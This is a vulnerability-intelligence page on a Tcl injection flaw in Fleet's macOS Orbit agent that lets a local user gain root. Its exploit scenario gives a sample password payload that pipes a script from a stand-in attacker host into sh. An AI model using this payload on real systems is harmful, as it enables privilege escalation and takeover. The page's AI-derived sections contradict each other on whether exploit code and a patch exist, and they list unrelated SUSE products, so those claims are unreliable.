Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessLocal user enters password with closing brace character
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DeliveryBrace escapes Tcl send command
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ExploitArbitrary Tcl injected into expect script
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ExecutionExpect script executed as root by Orbit agent
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ImpactArbitrary code executes with root privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires local unprivileged user access on a system running JetBrains Orbit agent with FileVault disk encryption enabled. Attacker must trigger the key rotation flow GUI dialog and enter a password containing a closing brace (}) character to inject Tcl commands. Runs as root, enabling privilege escalation. |
| Impact | CVSS vector (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates local attack requiring low-privileged authenticated access with low complexity and no user interaction, yielding full system compromise. Real-world risk is constrained by the local attack vector-remote exploitation is not possible-but severity is elevated by trivial exploitation: an attacker merely sets their macOS password to a string containing } followed by Tcl commands, then triggers the FileVault rotation flow. No EPSS data provided, but the vulnerability is deterministic and requires no timing or race conditions (AC:L). No public exploit identified at time of analysis and no CISA KEV listing, suggesting exploitation has not been observed in the wild. However, organizations using Fleet for macOS endpoint management face immediate risk from malicious insiders or post-compromise lateral movement scenarios. SSVC perspective: exploitation status is POC-ready (trivial to weaponize), automatable (no), technical impact is total system control. Prioritize patching on macOS fleets where Orbit agent is deployed, especially in environments with untrusted local users or BYOD policies. |
| Exploit ScenarioDerived | An attacker with a standard local user account on a Fleet-managed macOS endpoint sets their login password to a malicious string such as password}; do shell script "curl attacker.com/shell.sh | sh" with administrator privileges; {dummy. When Fleet initiates a scheduled FileVault key rotation, Orbit prompts the user for their password via GUI dialog. The attacker enters their malicious password, which Orbit interpolates into the expect script as send {password}; do shell script "curl attacker.com/shell.sh | sh" with administrator privileges; {dummy}. Tcl interprets the injected do shell script command, executing arbitrary AppleScript or shell commands as root. The attacker gains a root shell, installs persistence mechanisms, exfiltrates encryption keys or credentials, and potentially disables security tooling. Exploitation requires only local access and knowledge of the Tcl injection vector; publicly available exploit code exists per GitHub advisory disclosure, lowering the barrier to exploitation. |
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Alert meAnalysisAIv1 – Apr 08, 2026
Local privilege escalation to root in Fleet Orbit agent (macOS) allows authenticated local users to inject arbitrary Tcl commands via malformed FileVault password input. The vulnerability stems from unsafe interpolation of user-supplied passwords into expect scripts executed as root. CVSS 7.8 (High) with EPSS data unavailable; no public exploit identified at time of analysis, though exploitation requires only a specially crafted password containing closing brace characters. Impacts organizations using Fleet's macOS disk encryption management.
RemediationAI
Apply the vendor-released patch referenced in GitHub Security Advisory GHSA-rphv-h674-5hp2 at https://github.com/fleetdm/fleet/security/advisories/GHSA-rphv-h674-5hp2. Upgrade Fleet Orbit agent to the patched version specified in the advisory, which implements proper input sanitization or parameterization for expect script construction. Until patching is complete, consider disabling automated FileVault key rotation in Fleet and performing manual key escrow, or restrict Orbit deployment to trusted user environments only. Review audit logs for unexpected privilege escalation events or suspicious expect process invocations by Orbit. No effective workaround exists short of disabling the vulnerable feature, as the flaw is architectural in the password handling flow.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Fleet Orbit is a cross-platform agent for the Fleet device management platform (pkg:go/github.com_fleetdm_fleet_v4). On macOS, Orbit manages FileVault disk encryption key rotation by prompting users for their password via GUI dialog, then using that password in an automated expect script to complete the rotation. The implementation uses Go's exec.Command to invoke expect with a dynamically constructed Tcl script containing the user password wrapped in Tcl brace-quoting: send {user_password}. Tcl brace-quoting is not escape-aware; a closing brace in the password string terminates the literal prematurely, allowing injection of arbitrary Tcl commands. Because Orbit runs with root privileges to perform system-level disk encryption operations, injected Tcl commands execute as root. This represents a classic CWE-78 OS command injection vulnerability compounded by CWE-94 code injection, where untrusted data (user password) flows directly into executable code context without sanitization or parameterization.
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Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/fleetdm/fleet).
CVSS VectorVendor: https://github.com/fleetdm/fleet
Lifecycle Timeline
2DescriptionCVE.org
Summary
The Orbit agent's FileVault disk encryption key rotation flow on collects a local user's password via a GUI dialog and interpolates it directly into a Tcl/expect script executed via exec.Command("expect", "-c", script). Because the password is inserted into Tcl brace-quoted send {%s}, a password containing } terminates the literal and injects arbitrary Tcl commands. Since Orbit runs as root, this allows a local unprivileged user to escalate to root privileges.
CWE
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-94: Improper Control of Generation of Code ('Code Injection')
Impact
- Local privilege escalation to root: Any unprivileged local user on a managed endpoint can execute arbitrary commands as root
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Executive ViewAI
CVE-2026-27806 is a local privilege escalation vulnerability in Fleet Orbit agent for macOS that allows authenticated users to gain root access by injecting Tcl commands through FileVault password input. Organizations relying on Fleet for macOS disk encryption management face a direct threat to endpoint security if users with local access exploit this flaw to escalate privileges. Immediate inventory and compensating controls are required until a vendor patch is released.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict local interactive access to Fleet Orbit agent systems using endpoint access controls or EDR policies; (2) Disable or remove local user account creation capabilities on affected macOS endpoints; (3) Enforce FileVault password changes through centralized management only, blocking user-initiated modifications; (4) Monitor system logs for Tcl injection attempts or unexpected root-level process execution from Fleet agent contexts; (5) Evaluate alternative macOS disk encryption management platforms pending patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Same weakness CWE-78 – OS Command Injection
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-20540
GHSA-rphv-h674-5hp2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB